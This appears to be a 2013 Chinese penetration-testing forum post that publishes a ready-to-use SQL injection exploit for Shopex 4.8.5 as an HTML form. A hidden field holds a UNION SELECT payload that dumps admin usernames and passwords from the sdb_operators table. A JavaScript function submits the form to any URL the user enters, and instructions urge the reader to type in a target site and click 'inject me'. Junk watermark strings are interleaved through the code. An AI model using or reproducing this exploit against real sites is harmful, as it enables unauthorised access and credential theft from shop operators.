中国网络渗透测试联盟
标题:
Shopex 4.8.5 SQL Injection Exp 0day
[打印本页]
作者:
admin
时间:
2013-1-23 09:20
标题:
Shopex 4.8.5 SQL Injection Exp 0day
<center>
5 G! y3 M: n1 W1 o; B# G
<title>中国网络渗透测评联盟-中测联盟|-Shopex 4.8.5 SQL Injection Exp 在线版</title>
! J; ]* c4 H; C: r$ H5 }/ E
<form action="" method="post" name="submit_url">
9 G) v8 X9 q( R+ E. ~, o; K1 L9 ?
网址:<input type=text name=url value="http://www.political-security.com/" size=62><br><br>
) V4 v2 Q8 \) f- x8 Z0 [
<input type="hidden" name="goods[goods_id]" value="3">
- {$ y6 J$ a( \2 Q6 k( z
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
0 k0 x8 H# N& j1 H7 d5 x5 `
<input type="submit" value="给我注入" onclick=fsubmit()>
2 {2 g2 p. y1 I$ L& v: H
</form> <br /><br />填上你要注入的网址（注意要打上http:// 要不跳转不了） 点“给我注入”就要以了。//www.political-security.com
( ]6 i7 E7 r G7 `& A( E! k
& o6 p6 A- [- \4 q& q y
<script>
$ A" w& I$ e3 Y- x% j0 E& r3 Z
function fsubmit(){
& U7 u% L7 e7 h, Y) `* |! g% ^- c
form = document.forms[0];
+ I( O8 A. y) J4 r5 V) ^' B+ k
form.action = form.url.value+'/?product-gnotify';
/ ?; c& ]+ a3 J
form.submit();
8 Q$ o' w8 Q! p& ^ U- ]. b# U
}
/ c& H1 s; o1 h" I
</script>
9 `6 }8 \0 M! E$ q3 J0 Y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2